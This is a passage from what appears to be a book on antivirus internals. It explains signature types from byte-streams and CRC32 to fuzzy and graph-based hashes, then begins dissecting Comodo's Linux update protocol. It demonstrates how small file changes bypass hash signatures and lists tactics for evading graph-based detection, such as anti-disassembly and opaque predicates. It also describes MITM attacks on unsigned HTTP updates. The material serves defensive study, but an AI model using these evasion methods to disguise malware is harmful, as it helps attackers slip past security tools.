algorithms are shared among AV products. Some algorithms that are used to 

generate signatures can have a high false-positive ratio but are extremely fast. 

C H A P T E R 

4

Understanding Antivirus Antivirus 
Signatures
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Other more complex (and naturally more expensive) signatures exhibit a lower 

rate of false positives but take a very long time (from a desktop antivirus point 

of view) to match. The following sections will cover the most notable signatures 

and discuss the advantages and disadvantages of each one.

Byte-Streams

The simplest form of an antivirus signature is a byte-stream that is specifi c to 

a malware fi le and that does not normally appear on non-malicious fi les. For 

example, to detect the European Institute for Computer Anti-Virus Research 

(EICAR) antivirus testing fi le, an antivirus engine may simply search for this 

entire string:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

This is, naturally, the easiest approach for detecting malware; it is fast and 

easy to implement, as there are many robust and effi cient algorithms for string 

matching (such as Aho-Corasick, Knuth-Morris-Pratt, Boyer-Moore, and so on) 

that are available to anyone. However, this approach is error prone for the same 

reason that it is easy to implement: if a goodware fi le contains the byte-string, 

a false positive is generated, which means that a healthy fi le is interpreted as a 

malicious one. Indeed, it is diffi cult to predict the actual number of antivirus 

products that will detect an electronic fi le containing the text in this chapter as 

malicious because it contains the entire EICAR signature.

Checksums

The most typical signature-matching algorithm is used by almost all existing 

AV engines and is based on calculating CRCs. The Cyclic Redundancy Check 

(CRC) algorithm is an error-detection code that is commonly used in storage 

devices to detect damage, the accidental change of data, transmission errors, 

and so on. This algorithm takes a buffer as input and generates an output hash 

in the form of a checksum, which is typically just four bytes (32 bits when the 

CRC32 algorithm is used). Then, specifi c malware is compared with the fi le or 

buffer under analysis by calculating the CRC checksum of the entire buffer or 

selected parts of it. Using the example from the previous section, the EICAR test 

fi le has the following CRC32 checksum: 0x6851CF3C. An antivirus engine may 

detect this testing fi le by calculating the CRC32 checksum of the entire buffer 

against chunks of data (that is, the fi rst 2Kb block, the last 2Kb block, and so on) 

or by analyzing the specifi c parts of a fi le format that can be divided (that is, by 

checking the CRC32 hash of a specifi c section of a PE or ELF fi le).

As with the previous example, the CRC algorithm is fast but generates a large 

number of false positives. It was not created with the aim of detecting malicious 

payloads but, rather, of detecting erroneous transfers of data over unreliable 
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channels or detecting media damage. Therefore, fi nding “collisions” with a 

particular CRC32 hash is easy, causing it to generate a lot of false positives with 

goodware. Some antivirus engines add additional checks to their implementa-

tion; for example, they may fi rst fi nd a small string (a prefi x) and then apply the 

entire CRC32 function to the buffer, starting from the prefi xed string up to some 

determined size. But, again, the number of false positives that this approach 

can generate is greater than with other ones. As a simple example, both the 

words “petfood” and “eisenhower” have the same CRC32 hash (0xD0132158). 

As another example, the fi le with MD5 hash 7f80e21c3d249dd514565eed4595

48c7, available for download, outputs the same CRC32 hash that the EICAR test

fi le does, causing false positives with a number of antiviruses, as shown in the 

following report from VirusTotal:

https://www.virustotal.com/file/83415a507502e5052d425f2bd3a5b16f2

5eae3613554629769ba06b4438d17f9/analysis/.

MODIFIED CRC ALGORITHMS

All the antivirus engines that have been analyzed so far use the CRC32 algorithm. 
However, in some cases, the original CRC32 algorithm is not used, but is replaced by a 
modifi ed version. For example, the tables of constants used by the original algorithm 
may be changed or the number of rounds may be changed. This is something that you
must consider when analyzing the signatures of the antivirus product being targeted. 
CRC32 hashes can diff er from the original CRC32 algorithm and may cause you some 
headaches.

Custom Checksums

Most antivirus engines create their own set of CRC-like signatures. For example, 

some antivirus kernels use the CRCs of some Windows PE executables sections, 

perform an XOR operation with all of them, and use the output as the hash 

for some PE fi les; other antivirus engines perform arithmetic calculations and 

displacements over blocks of data, generating a small DWORD or QWORD 

that is used as the signature. Some antivirus kernels generate various CRC32 

checksums of some parts of the fi le (such as the CRC32 of the header and the 

footer) and use the resulting hashes as a multi-checksum signature. 

The list of custom checksums is really too large to enumerate in this book. 

The interesting point is that such custom checksums do not offer any benefi t 

to antivirus developers (other than using a hashing function that is unknown, 

which forces a reverse-engineer analyzing the targeted AV engine to discover 

where that function is, analyze it, and, likely, implement it). Such checksums are 

prone to false positives, as are the original CRC32 algorithm’s checksum-based 

signatures. This is the reason the antivirus industry decided some time ago to 

use a more robust form of function hashes: cryptographic hashes.
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Cryptographic Hashes

A cryptographic hash function generates a “signature” that univocally identifi es 

one buffer and just one buffer, which thus reduces the odds of producing a false 

positive (because of fewer “collisions”). An ideal cryptographic hash function 

has four properties, as extracted from Wikipedia:

■ It is easy to compute the hash value for any given message.

■ It is infeasible to fi nd a message that has a given hash.

■ It is infeasible to modify a message without changing its hash.

■ It is infeasible to fi nd two different messages with the same hash.

The antivirus industry decided to use such hash functions because they do 

not produce false positives. However, there are disadvantages to using crypto-

graphic hash functions. One is that it is typically more expensive to calculate, 

say, an MD5 or SHA1 hash than a CRC32 hash. A second disadvantage is that 

when a malware developer changes just one bit of data, the cryptographic hash 

functions return a different hash value, thus rendering the fi le or buffer undetect-

able when such algorithms are used for detection. Indeed, this is the purpose 

of a cryptographic hash function: it must be infeasible to modify a message 

without changing the resulting hash. A typical example of how to bypass such 

signatures is by adding one byte at the end of the fi le. In the case of executable 

fi les, a byte addition at the end of the fi le is either ignored or considered garbage 

and does not cause the targeted operating system to consider the fi le malformed 

or damaged when it tries to execute it.

It may seem at fi rst that such signatures are not frequently used in today’s 

antivirus products, but the reality is otherwise. For example, as of January 2015, 

ClamAV contained more than 48,000 signatures based on the MD5 hash of the 

fi le. The daily.cvd fi le (a fi le with the daily signatures) contains more than

1,000 MD5 hashes. Cryptographic hashes are often used by antivirus products 

only for recently discovered malwares that are considered critical, such as the 

droppers and dropped executables in attacks discovered in the wild. Meanwhile, 

stronger signatures are being developed, for which more time is required. Using 

cryptographic hashes in antivirus products as signatures, except in the last case 

mentioned, does not make any sense; this approach will just detect the given 

fi le (as their hashes were originally added into the signature database) if not 

modifi ed, but changing a single bit will “bypass” detection.

Advanced Signatures

Many signature types are implemented in AV engines that are not as simple 

as the CRC32 algorithm. Most of them are specifi c to each AV product, and 

some of them are expensive and, thus, are used only after other signatures 
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are matched. Most of these signatures are created with the aim of reducing the 

number of false positives while at the same time maximizing the possibility 

that an AV engineer will detect a malware family, instead of a single fi le such 

as in the previous cases in this chapter. One typical advanced signature, the 

bloom fi lter, is discussed in Chapter 3. The next section will discuss some of the 

most common advanced signature types that are found in various AV products.

Fuzzy Hashing

A fuzzy hash signature is the result of a hash function that aims to detect 

groups of fi les instead of just a single fi le, like the cryptographic hash functions’ 

counterparts do. A fuzzy hash algorithm is not affected by the same rules as a 

cryptographic hash; instead it has the following properties:

■ Minimal or no diffusion at all—A minimal change in the input should

minimally affect the generated output and only to the corresponding block 

of output, if it affects it at all. In a good cryptographic hash, a minimal 

change in the input must change the complete hash.

■ No confusion at all—The relationship between the key and the generated

fuzzy hash is easy to identify, corresponding one to one. For example, 

a tiny change in the fi rst block should change only the fi rst generated 

output byte (if at all).

■ A good collision rate—The collision rate must be defi ned by the actual —

application. For example, a high collision rate may be acceptable for spam 

detection, but it may not be suitable for malware detection (because of the 

high number of false positives it generates).

Various free public implementations of cryptographic hashes are available, 

including SpamSum, by Dr. Andrew Tridgell; ssdeep, by Jesse Kornblum; and 

DeepToad, by Joxean Koret. However, as far as can be determined, none of the 

antivirus products use any of these publicly available fuzzy hashing algorithms; 

instead they create their own. In any case, all of them are based on the same 

ideas and have the same three properties discussed in the previous list.

The number of false positives of such signatures—depending on the collision

rate confi gured by the antivirus developers and the quality of the implemented 

algorithm—is usually lower than the number of false positives that other more 

basic signatures cause (such as simple pattern matching or checksums). However, 

because of the intrinsic nature of such hashes, false positives will happen, and 

such algorithms cannot be used alone. In some cases, these algorithms are used 

to match malware fi les after they pass a bloom fi lter, thus reducing the odds of 

causing false positives.

Bypassing such antivirus signatures is not as easy as in the previous cases. 

Bypassing a cryptographic or checksum-based hash function or a simple pattern-

matching algorithm is a matter of changing just one bit in the right place (either 
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in the specifi c string being matched or anywhere in the buffer). In the case of 

fuzzy hashes, an attacker needs to change many parts of the fi le because small 

changes to the buffer do not cause a big diffusion, if at all. The following example 

uses the ssdeep tool to demonstrate how such an algorithm works. Say that you 

want to detect the /bin/ls executable from Ubuntu Linux in your hypotheti-

cal antivirus engine using the ssdeep algorithm. Such a fi le will generate the 

following signature:

$ md5sum ls
fa97c59cc414e42d4e0e853ddf5b4745  ls
$ ssdeep ls
ssdeep,1.1--blocksize:hash:hash,filename
1536:MW9/IqY+yF00SZJVWCy62Rnm1lPdOHRXSoyZ03uawcfXN4qMlkW:MW9/ZL/
T6ilPdotHaqMlkW
," ls"

The fi rst command calculates the MD5 hash of the given fi le. The last com-

mand calculates its ssdeep hash. The last line is the entire signature generated 

by ssdeep: the block size, the hash, and the hash plus the fi lename. Now add 

one more byte at the end of the fi le, the character “A,” and calculate both hashes:

$ cp ls ls.mod
$ echo "A" >> ls.mod
$ ssdeep ls.mod
ssdeep,1.1--blocksize:hash:hash,filename
1536:MW9/IqY+yF00SZJVWCy62Rnm1lPdOHRXSoyZ03uawcfXN4qMlkWP:MW9/
ZL/T6ilPdotHaqMlk
WP,"/home/joxean/Documentos/research/books/tahh/chapter4/ls.mod"
$ md5sum ls.mod
369f8025d9c99bf16652d782273a4285  ls.mod

The MD5 hash has changed completely, but the ssdeep hash has just changed 

one byte (notice the extra P at the end of the hash). If developers using this 

 signature approach calculate the edit distance, they will discover that the fi le 

is similar to a known one, and thus detect it as part of some malware family. In 

order to completely change the hash when using fuzzy hash algorithms, you 

need to modify many other parts of this fi le. Try another example, this time, 

appending the fi le cp from Ubuntu Linux to the original ls fi le:

$ cp ls ls.mod
$ cat /bin/cp >> ls.mod
$ ssdeep ls.mod
ssdeep,1.1--blocksize:hash:hash,filename
3072:MW9/ZL/T6ilPdotHaqMlkWSP9GCr/vr/oWwGqP7WiyJpGjTO:3xZLL1doYp
lkWoUGqP7WiyJpG
,"ls.mod"
$ ssdeep ls
ssdeep,1.1--blocksize:hash:hash,filename
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1536:MW9/IqY+yF00SZJVWCy62Rnm1lPdOHRXSoyZ03uawcfXN4qMlkW:MW9/ZL
/T6ilPdotHaqMlkW
," ls"

Now, almost the entire hash has changed, and thus you have bypassed this 

signature. However, the number of changes required to bypass a fuzzy  signature 

depends on the block size: if the block size depends on the size of the given 

buffer and is not fi xed, bypassing such signatures is easier. For example, try 

again, this time with the DeepToad tool, which allows you to confi gure the block 

size. Select a block size of 512 bytes and hash the two fi les, the original /bin

/ls and the modifi ed one:

$ deeptoad -b=512 ls
NTWPj4+PiIiIiLm5ubklJSUl2tra2gMD;j4+IiLm5JSXa2gMDDAxpaTw81dUJCSQ
k;c3P29pqaZWU/P
7q6GBhSUtDQ4OBCQqSk;ls
$ deeptoad -b=512 ls.mod
NTWPj4+PiIiIiLm5ubklJSUl2tra2gMD;j4+IiLm5JSXa2gMDDAxpaTw81dUJCSQ
k;jIyhoXV1bW2Fh
aamsrKwsN7eZWVpaezs;ls.mod

This time, you cannot trick this tool by making such a change. This is for 

two reasons: fi rst, because the block size is fi xed, instead of being dynamically 

chosen, which is the case with ssdeep; and second, because DeepToad calculates 

three different hashes, separated by the semicolon character (;), and the fi rst

two hashes completely match. So, in short, the number of changes required to 

bypass a fuzzy hash algorithm depends on the block size and how the block 

size is chosen.

Graph-Based Hashes for Executable Files

Some advanced antivirus products contain signatures for program graphs. A 

software program can be divided into two different kinds of graphs:

■ Call graph—A directed graph showing the relationships between all the 

functions in a program (that is, a graph displaying all callers and callees

of each function in the software piece)

■ Flow graph—A directed graph showing the relationships between basic—

blocks (a portion of code with only one entry point and only one exit point) 

of some specifi c function

An antivirus engine that implements a code analysis engine may use the 

signatures in the form of graphs using the information extracted from the call 

graph (a graph with all the functions in a program) or the fl ow graphs (a graph 

with all the basic blocks and relations for each function). Naturally, this opera-

tion can be quite expensive; a tool such as IDA can take anywhere from seconds 
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to minutes to analyze an entire piece of software. An antivirus kernel cannot 

expend seconds or minutes analyzing a single fi le, so the code analysis engines 

implemented in AV products are limited to some instructions, basic blocks, or 

a confi gured time-out value so the analysis engine does not take longer than

the specifi ed maximum amount of time.

Graph-based signatures are powerful tools for detecting malware families that 

are polymorphic; while the actual instructions will be different between differ-

ent evolutions, the call graph and fl ow graphs usually remain stable. Therefore, 

an AV engineer may decide to take a graph signature of the basic blocks of a 

particular function used to unpack the code of a malware, for example, to detect 

the unpacking or decryption layers.

This approach—in addition to the performance problems it may cause if 

no limits are set or are set inappropriately—can also cause false positives like 

any other approach for creating signatures. For example, if a malware author 

knows that his piece of software is being detected by an antivirus engine using 

a signature created out of the fl ow graph of a specifi c function, he may decide to 

change the layout (read, the fl ow graph) of that function to the layout of a func-

tion from goodware; this could be a function from the notepad.exe Windows 

operating system tool or any other goodware software. The AV engineers will 

discover that they need to create a new signature for this new family instead 

of adapting the previous one or adding a modifi cation to it, because the graphs 

used in this new evolution can be found in other, goodware, software pieces.

From the viewpoint of an attacker who wants to evade such signatures, a 

variety of approaches are available:

■ Change the layout of fl ow graphs or the layout of the call graph so they

look like “common” graphs extracted from any goodware software, as 

explained previously.

■ Implement anti-disassembly tricks so the AV’s code analysis engine can-

not disassemble the whole function because it does not understand an 

instruction or set of instructions.

■ Mix anti-disassembly tricks with opaque predicates so the analysis engine 

cannot decide correctly whether or not a jump is taken and will fail at 

analyzing either the “true” or the “false” path because invalid instructions 

or code are simply put there to fool the code analysis engine.

■ Use time-out tricks to make the fl ow graph of the malware so complex 

that the code analysis engine of the antivirus kernel must stop the code 

analysis step before it can be considered fi nished because it timed out; 

timing out would cause it to have a partial and unreliable view of the fl ow 

graph of some or all functions.

An example open-source tool that builds and uses graph-based signatures 

that can be used as a testing tool is GCluster, an example script from the  bigger 

project Pyew, available at http://github.com/joxeankoret/pyew.
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This tool analyzes the program building the call graph and each function’s fl ow 

graph for the list of binaries given to the tool and then compares both  elements, 

the call graph and the fl ow graphs, in order to give a similarity level. The fol-

lowing is an example execution of this tool against two malware samples from 

the same family that at binary level are completely different but at structural 

level (the call graph and fl ow graphs) are exactly equal:

$ /home/joxean/pyew/gcluster.py HGWC.ex_ BypassXtrap.ex_
[+] Analyzing file HGWC.ex_
[+] Analyzing file BypassXtrap.ex_
Expert system: Programs are 100% equals
Primes system: Programs are 100% equals
ALists system: Programs are 100% equals

If you check the cryptographic hash of the fi les, you will see that they are 

actually different fi les:

$ md5sum HGWC.ex_ BypassXtrap.ex_
e1acaf0572d7430106bd813df6640c2e  HGWC.ex_
73be87d0dbcc5ee9863143022ea62f51  BypassXtrap.ex_

Also, you can check that other advanced signatures, like fuzzy hashing at 

binary levels, don’t work for such binaries, as in the following example run of 

ssdeep:

$ ssdeep HGWC.ex_ BypassXtrap.ex_ ssdeep,1.1--
blocksize:hash:hash,filename12288:faWzgMg7v3qnCiMErQohh0F4CCJ8ln
yC8rm2NY:
CaHMv6CorjqnyC8
rm2NY,"/home/joxean/pyew/test/graphs/HGWC.ex_"
49152:C1vqjdC8rRDMIEQAePhBi70tIZDMIEQAevrv5GZS/ZoE71LGc2eC6JI
/Cfnc:
C1vqj9fAxYmlfACr5GZAVETeDI/Cvc,"/home/joxean/pyew/test/graphs
/BypassXtrap.ex_"

Clearly, graph-based signatures are much more powerful than signatures 

based exclusively in the bytes. However, for performance reasons their use is 

often prohibitive. This is why antivirus companies did not adopt this approach 

massively: it is not practical.

Summary

 Antivirus signatures play an integral part in malware detection. They have been 

used since the inception of the AV software. Essentially, signatures are databases 

of some sort that are used in conjunction with various matching algorithms to 

detect malware or a family of malware. For each of the signature database types, 

this chapter also showed various methods for circumventing detections based 

on them. Various types of signature databases are mentioned in this chapter:



86 Part  I 6 ■ Antivirus Basics

■ Byte-streams, as the name suggests, are used in conjunction with string 

matching algorithms to match a sequence of bytes in the malicious fi le.

■ Checksums, such as the CRC32 checksum algorithm, are applied on a 

byte-stream to generate a unique identifi er that is then looked up in the

signature. Checksums are usually weak against collision attacks and prone 

to generating false positives.

■ Cryptographic hash functions, unlike checksum algorithms, are resilient

against collision attacks and do not cause a lot of false positives. However, 

they take a long time to compute. Malware writers can easily evade those 

algorithms because a simple change in the input fi le can generate a totally 

different hash value.

■ Fuzzy hash functions are used to detect a group of fi les, typically mal-

ware fi les belonging to the same family. Unlike cryptographic hashes, it 

is somewhat acceptable to have collisions. If collisions occur, it is usually

because the malware with the fuzzy hash belong to the same family.

■ Finally, graph-based hashes are computed from either the call graphs or 

the fl ow graph of a malicious executable. Calculating graph-based hashes 

is more time-consuming than all other hashing methods and requires 

that the AV engine has disassembling ability so it can build such graphs. 

Nonetheless, graph-based hashes are very good for detecting different 

iterations of the same malware, because they rely not on the bytes-stream 

sequence but on the relationship of basic blocks or functions call graphs.

The next chapter introduces the update services, discusses how they work, and 

then walks you through a practical example of how to dissect and understand 

a real-world update service of a popular AV software.
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Antivirus software is updated more often than most types of software on your 

computer. Every couple of hours, or at least once a day, new virus defi nition 

fi les are released by AV companies and downloaded by customers in order to 

protect them against the latest threats.

All modern antivirus software implements some sort of auto-updating feature. 

The components that are updated include the core kernel fi les, signature fi les, 

GUI, tools, libraries, or other product fi les. Depending on how the AV product 

is confi gured, automatic updates occur from once to several times per day. The 

antivirus update strategy depends on the frequency of the update requests. 

For example, a daily update usually involves pushing daily signatures to the 

clients. On the other hand, a weekly update involves a big revision download 

that updates a number of stable signatures.

These update rules are not set in stone, because sometimes when an update is 

performed, the entire set of signatures and plug-in fi les is changed. The size of 

the updates and the components that are updated depend largely on the plug-ins 

and signature schemes used: if the AV company uses a container for plug-ins 

and signatures, the entire container is downloaded each time the antivirus is 

updated. However, if the company distributes each component separately, only 

the modifi ed components are downloaded.

C H A P T E R 
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This chapter discusses the various update protocols that are implemented by 

antivirus companies and their shortcomings and continues to explain how to 

dissect an update protocol. This concludes by commenting on how the  current

methods of HTTPS inspection solve one problem but bring about many other 

problems.

Understanding the Update Protocols 

Each antivirus company, and sometimes each antivirus product, uses a different 

protocol, updating strategy, signature and plug-in distribution scheme, and so 

on. However, there are some commonalities between all the update protocols 

that are listed here:

■ They use HTTP or HTTPS (or both) for downloading signatures—In some

rare cases, FTP has been observed (mainly in obsolete or old products).

■ They include catalog fi les—The list of downloadable fi les and remote

relative URIs or full URLs is available in one or more catalog fi les. Such 

catalog fi les may contain information about the supported platforms and 

different product versions.

■ They verify the downloaded fi les—The downloaded update fi les are

usually verifi ed before the old fi les are updated. Although each antivirus 

product goes through a verifi cation process, they do so in very different

ways, from using simple CRC checks (Cyclic Redundancy Checks) to RSA 

(a public key-based cryptosystem) signatures.

The following hypothetical antivirus update protocol shows you how a  typical 

update might work:

 1. The AV product regularly retrieves (for example, once a day) a fi le from the 

web via a URL such as http://av.com/modified-date. This fi le  contains

meta-information about the availability of updates.

 2. The AV client remembers the last time it was updated, and if the date inside

this fi le is more recent than the last time the antivirus was updated on the 

client’s machine, a catalog fi le with the list of all available update fi les is 

then downloaded from a URL such as http://av.com/catalog.ini.

 3. The catalog fi le, whether it is in XML format or simple old INI format, is 

usually divided into sections for each product, supported platform, and

operating system (such as Windows 7 x86_64 or Solaris 10 SPARC). Each 

section contains information about the fi les to be updated. Most  commonly, 

this information includes the name of the fi les to be updated and their 

hash (for example, MD5) for integrity verifi cation later on.
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 4. If the MD5 hashes of the fi les in the update catalog corresponding to the 

client’s fi les are different, these fi les are downloaded to the computer.

 5. The MD5 hash of the downloaded fi les is checked to verify that no error 

occurred during the transmission.

 6. If the fi les are correct, the required services are stopped, old fi les are 

moved to a backup directory, new fi les are copied, and the services are 

restarted.

This hypothetical protocol resembles how many real-world antivirus update 

engines work. You will see more concrete examples in the following sections.

Support for SSL/TLS

Secure Sockets Layer (SSL) and Transport Layer Security (TLS) are cryptographic 

protocols designed to provide security over a communication channel such as 

the Internet (WAN) or an intranet (LAN). They use X.509 certifi cates (asymmetric 

cryptography) to exchange a random session key, which is used for symmetric 

encryption and decryption of the subsequent traffi c. SSL  protocols are used for 

online banking and other sensitive information exchange purposes. Using such 

secure communication protocols is a basic requirement when implementing 

an update protocol, especially when talking about security software such as 

antivirus products, but, unfortunately, they are not typically used. The most 

typical protocol used for downloading updates, as explained in the previous 

section, is plain old Hypertext Transfer Protocol (HTTP), not Hypertext Transfer 

Protocol Secure (HTTPS), the version of HTTP implemented on top of SSL/TLS. 

The use of HTTP in most update protocols opens the door to a wide array of 

possible attacks:

■ If an attacker can change a DNS record, for example, the client will  connect 

to the wrong IP address and download all the fi les there, without verifying 

that the server is actually the one the client tool expected, as certifi cates 

are not used in HTTP.

■ If an attacker can launch a man-in-the-middle (MITM) attack in, say, a

local area network (LAN), then the attacker can modify the fi les (and 

their hashes in the catalog fi le) during transit and supply bad copies 

of fi les or Trojanized versions of the antivirus products to the client 

machines.

Recent antivirus products rely on insecure or unencrypted protocols based 

on HTTP for various reasons. The following are the most common ones:

■ Simplicity—It is easier to write a protocol based on HTTP than by using 

HTTPS properly.
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■ Performance—Downloads using HTTP are always faster than using 

HTTPS because the overload of the SSL or TLS layers is removed. Although 

the performance penalty of using SSL or TLS today is negligible, the fi rst 

versions of some antivirus products were written one or two decades 

ago. At that time, perhaps, it was considerable time. Today, however, its

negligible.

■ Poor coding or programming skills—As simple as it sounds, some antivirus

engineers and designers are not security-conscious coders, or they do not 

properly understand the security requirements of a protocol engine. As 

such, some antivirus companies implemented the fi rst updating protocol 

they came up with and continued to use that protocol for many years, 

even when, in some cases, such protocols where designed at the end of 

the 1990s or the beginning of the 2000s.

You may have noticed that the word properly is used in the previous list 

just to emphasize the fact that sometimes the simple solution is implemented 

rather than the correct one, which is, by the way, a bad practice. Many people, 

some software developers and designers included, believe that they only need 

to add SSL/TLS support to their protocols, and they often implement it in an 

uninformed way by using such transports without considering the security 

implications. As a result, you can observe the following discrepancies:

■ Using SSL/TLS without verifying the server’s certifi cate—This is one of 

the most typical errors: developers add secure transport capabilities but

not the code to check the identity of the server. This is as bad as not using 

SSL/TLS with the added performance penalty of using such transports.

Web browsers such as Google Chrome and the security product EMET 

from Microsoft provide certifi cate pinning to validate the identity of the 

web server.

■ Using self-signed certifi cates—A company may use a self-signed 

certifi cate for identifying its update servers, rather than a certifi cate 

signed by a known certifi cate authority (CA), and the certifi cate may 

not be added to the client’s trusted certifi cate store. In this situation 

(as in the previous case where the check code is missing), the client 

will accept any self-signed certifi cate that looks like the one it expects. 

In short, this is as bad as the previous case. Also, because of the way 

they work, self-signed certifi cates cannot be revoked; so, if attackers 

gain access to the private key of the AV company, they can continue 

performing MITM attacks as long as the certifi cates installed in each 

client machine are not revoked. However, certifi cates signed by a CA 

can be revoked after such an incident, which makes them invalid. Any 



 Chapter 5 ■ The Update System 91

new certifi cates will be automatically accepted because they are signed 

by a known, trusted CA.

■ Accepting valid but expired certifi cates—A certifi cate expires after some 

time. If nobody notices it at the correct time because people are busy or

because of bureaucratic shortsightedness, the certifi cate may expire, caus-

ing the clients to refuse to download updates. Because of this, expired 

 certifi cates are sometimes allowed.

Verifying the Update Files

One of the points where most AV products fail is when verifying downloaded 

update fi les. After all, the verifi cation process is reduced to the following steps:

 1. Download (likely via HTTP) a catalog fi le containing the list of fi les to 

download and their corresponding hashes.

 2. Download relevant fi les mentioned in the catalog fi le.

 3. Verify the hash of the downloaded fi les.

The verifi cation of the hash is usually made by comparing the MD5 or SHA1 

hash of the downloaded fi le with the corresponding hash in the downloaded 

catalog fi le. In some extremely rare cases, they can even use a CRC32 check-

sum instead of a cryptographic hash, as when an old, critical vulnerability 

was  discovered by Joxean Koret in the Dr.Web antivirus products. (This bug 

is discussed in detail in Chapter 15.) Verifying the downloaded fi les against 

the hashes stored in the catalog fi le is the right approach. However, there is 

a drawback: what if the catalog fi le containing the hashes is modifi ed by the 

attacker? The attacker would then be able to modify the transmitted fi les while 

also updating the hashes in the catalog fi le. Doing so does not upset the AV 

update protocol because the hashes of the downloaded fi les match the expected 

hashes. In a typical scenario, the attacker controls the update server and starts 

serving the modifi ed malicious updates. Not a good situation.

In some rare cases, antivirus products properly implement the verifi cation and 

integrity of the updates by employing signing algorithms (for example, using RSA). 

Signing is also used for validating that the fi les were created by the corresponding 

developers and were not manipulated during transit. Signing can be applied to 

executables and sometimes script fi les. For example, Microsoft signs every .CAB

fi le (an archive fi le format) downloaded using Windows Update (the protocol 

used to update Microsoft Windows Security Essentials) and also requires that

driver fi les (.SYS) are signed on x64 platforms before they are loaded by the OS.

If a signing mechanism is used, then even if insecure  protocols such as HTTP are 

used, the authenticity of the fi les is not jeopardized because the attacker would 

need to craft a binary with a valid signature. This is far from trivial and may 
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be downright impossible without also stealing the certifi cate from the signer or 

somehow reconstructing the private key. This has happened in the past, with 

the Flame malware—probably a state-sponsored piece of malware—which was 

signed with the attackers’ certifi cate that was generated based on a Terminal 

Server licensing server certifi cate with the help of an MD5 collision attack.

Signing and integrity checks are slowly being adopted by most major antivi-

rus products. However, in most cases, the adoption is limited to the Windows 

platform. Many antivirus products do not sign ELF or MachO executables or the 

shell scripts used to start their daemons in their Unix version of the products. 

There are some exceptions, but they are just that: exceptions.

N O T E  Signing executable fi les is a common function, at least in Windows operating 

systems. Signing shell scripts may seem strange at fi rst; however, in Unix, a shell script

is just an executable program, similar to a *.VBS script in Windows. For that reason,

scripts should be treated as executables and thus be candidates for signing as well. The

usual approach of various AV companies to signing script fi les is to add a comment line

at the bottom of the fi le containing the RSA signature of the script content (excluding

the signature line at the end of the fi le). For binary fi les, signatures are usually added as

overlay data, at the end of the fi le. The addition of the signature’s bytes is harmless, as 

the programs reading the fi les simply ignore the data past the end of the original fi le.

Windows supports binary signing using its Microsoft Authenticode technology.

Dissecting an Update Protocol

This section looks at a real update protocol used by a commercial antivirus 

product: Comodo Antivirus for Linux (version 1.1.268025-1 for AMD64). For this 

experiment, all you need are some standard Unix tools (such as grep), Wireshark 

(a network protocol analyzer, or sniffer, for Unix and Windows), a web browser,rr
and the Comodo antivirus software. You can download the software from  

https://www.comodo.com/home/internet-security/antivirus-for-linux.php.

Once you have installed the software, you can start playing with it. Antivirus 

software can use two different types of updates: the software update and the 

signatures update. The former refers to the scanners, drivers, GUI tools, and 

so on, and the latter refers to the generic routines for detection and disinfec-

tion, as well as the fi les with the usual CRCs, MD5s, and other signatures. If 

you run the main GUI in Comodo (with the command /opt/COMODO/cav if it is 

not already open) for the Linux version, a dialog box opens, similar to the one 

shown in Figure 5-1.

In the main window, you can see the last time that antivirus signatures were 

updated, as well as a summary of the number of malwares that were detected, 

and so on. When you click the Antivirus tab, the screen displays an Update 

Virus Database option, as shown in Figure 5-2.
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Figure 5-1:  The main GUI of Comodo Antivirus for Linux

Figure 5-2:  Comodo offers an Update Virus Database option for the Linux GUI
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 The Update Virus Database option is the fi rst part of the updating protocol 

that you will dissect. Before clicking this option, you need to launch Wireshark

as root in a terminal:

$ sudo wireshark

You then choose Capture→Start from the main menu. To get a cleaner traf-

fi c capture log, you can add the HTTP fi lter. After setting up Wireshark, you 

click the Update Virus Database option to instruct the GUI to check for new 

updates of their virus defi nition fi les. After a while, you see results similar to 

those shown in Figure 5-3.

Figure 5-3:  Wireshark shows a trace of a signature’s updating check

The update tool downloads from http://download.comodo.com/av/updates58

/versioninfo.ini.

If you download this text fi le and check its contents, you see the following:

$ GET http://download.comodo.com/av/updates58/versioninfo.ini
[VersionInfo]
MaxAvailVersion=20805
MaxDiff=150
MaxBase=20663
MaxDiffLimit=150

This is one INI-formatted fi le with just one section, VersionInfo, and four 

fi elds. You still know nothing about the meaning of any of the fi elds, although 
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you can guess that MaxAvailVersion indicates the latest available version. Now 

you try to fi nd where that string appears in the Comodo antivirus fi les:

$ grep 20805 -r /opt/COMODO/
/opt/COMODO/etc/COMODO.xml: <BaseVer>0x00005145 (20805)
</BaseVer>

You have a hit! It seems that the COMODO.xml fi le is where the MaxAvailVersion

value exists. This fi eld indicates the latest version of the signature fi les. If the 

value in the versioninfo.ini fi le is higher than the value in COMODO.xml, 

then updates are downloaded. To continue with this example, you can change 

the BaseVer value in COMODO.xml to 20804 to force the GUI tool to download the 

latest updates (for this example, you just wait until there is a new set of signa-

tures). If you click the Update Virus Database option, then Wireshark displays 

a different trace, as shown in Figure 5-4.

Figure 5-4:  Request made to the Comodo web servers to download updates

Okay, you now know how to determine whether new signatures are avail-

able and where to download them. If the MaxAvailVersion value is higher in 

versioninfo.ini than in the COMODO.xml fi le, then updates become available

in a URL like this one: http://cdn.download.comodo.com/av/updates58/sigs

/updates/BASE_UPD_END_USER_v<<MaxAvailVersion>>.cav.
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If you try to download this fi le using your favorite web browser, or any tool 

with support to open remote fi les, you see a binary fi le with a header that starts 

with the magic CAV3:

$ pyew http://cdn.download.comodo.com/av/updates58/sigs/updates/
BASE_UPD_END_USER_v20806.cav
000 43 41 56 33 46 51 00 00 52 9A E9 54 44 92 95 26 CAV3FQ..R..TD..&
010 43 42 01 00 05 00 00 00 01 00 00 00 00 00 00 00 CB..............
020 01 00 00 00 42 00 22 00 00 43 42 02 00 05 00 00 ....B."..CB.....
030 00 01 00 00 00 00 00 00 00 01 00 00 00 42 00 22 .............B."
040 00 00 43 42 03 00 05 00 00 00 01 00 00 00 00 00 ..CB............
050 00 00 01 00 00 00 42 00 22 00 00 43 42 04 00 0A ......B."..CB...
060 00 00 00 06 00 00 00 00 00 00 00 02 00 00 00 E2 ................
070 00 6A 2C CC AC 00 22 00 00 43 42 05 00 05 00 00 .j,..."..CB.....
080 00 01 00 00 00 00 00 00 00 01 00 00 00 42 00 22 .............B."
090 00 00 43 42 06 00 0D 00 00 00 09 00 00 00 00 00 ..CB............
0A0 00 00 01 00 00 00 43 00 00 00 20 00 00 00 00 00 ......C... .....
0B0 22 00 00 43 42 20 01 A8 1F 20 00 A8 1F 20 00 00 "..CB ... ... ..
0C0 00 00 00 46 05 00 00 00 00 00 00 00 00 00 00 00 ...F............
